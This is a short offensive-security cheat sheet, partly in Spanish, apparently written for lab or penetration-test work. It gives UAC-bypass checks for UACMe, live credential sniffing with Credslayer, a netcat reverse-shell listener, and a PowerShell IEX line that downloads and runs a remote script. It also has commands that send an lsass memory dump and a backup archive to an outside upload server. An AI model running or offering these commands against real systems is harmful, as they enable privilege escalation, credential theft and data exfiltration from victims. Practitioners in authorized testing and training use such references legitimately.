Useful Tips

ALWAYS Reuse Passwords

UAC Bypass

I need to be in the Administrators group. When UACMe "does nothing", it is almost always because your administrator token is being filtered or UAC is not in the expected configuration:
  • Step: What to check — Command — Expected for UACMe OK
  • 1: UAC level — reg query HKLM\...\System /v ConsentPromptBehaviorAdmin — 0x5
  • 2: UAC enabled — reg query HKLM\...\System /v EnableLUA — 0x1
  • 3: Remote session restriction — reg query HKLM\...\System /v LocalAccountTokenFilterPolicy — Does not exist or 0x0 = filtering active (fails in RDP/WinRM)
  • 4: Session type — echo %SESSIONNAME% — Console (local). If RDP-Tcp#X, it is remote and the token is filtered

Analyze pcaps and Extract Credentials in Real Time

terminal
Credslayer <archivo>        # analizar archivosCredslayer -l INTERFACE     # esnifar tráfico

Hashcat

terminal
$ hashcat --identify <hash>   # indica el modo recomendado

Search in Windows

terminal
dir /S /B "C:\Edge*.*"

Reverse Shell (rlwrap)

terminal
sudo rlwrap nc -lvnp 443

Download a File on Windows from Linux

powershell
iwr -Uri "http://<IP-LINUX>:8080/archivo" -OutFile "C:\ruta\destino\archivo"

Transfer from Windows to Linux (UploadServer)

terminal
# En Linux$ python3 -m uploadserver
powershell
# En Windows
IEX(New-Object Net.WebClient).DownloadString('http://172.16.5.15:8080/PSUpload.ps1')
Invoke-FileUpload -Uri http://172.16.5.15:8000/upload -File .\lsass.DMP
# o con curl
curl.exe -X POST -F "files=@C:\Users\rhinkle\Downloads\Backup.zip" http://172.16.139.10:9090/upload

"scripts disabled" Issue

powershell
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser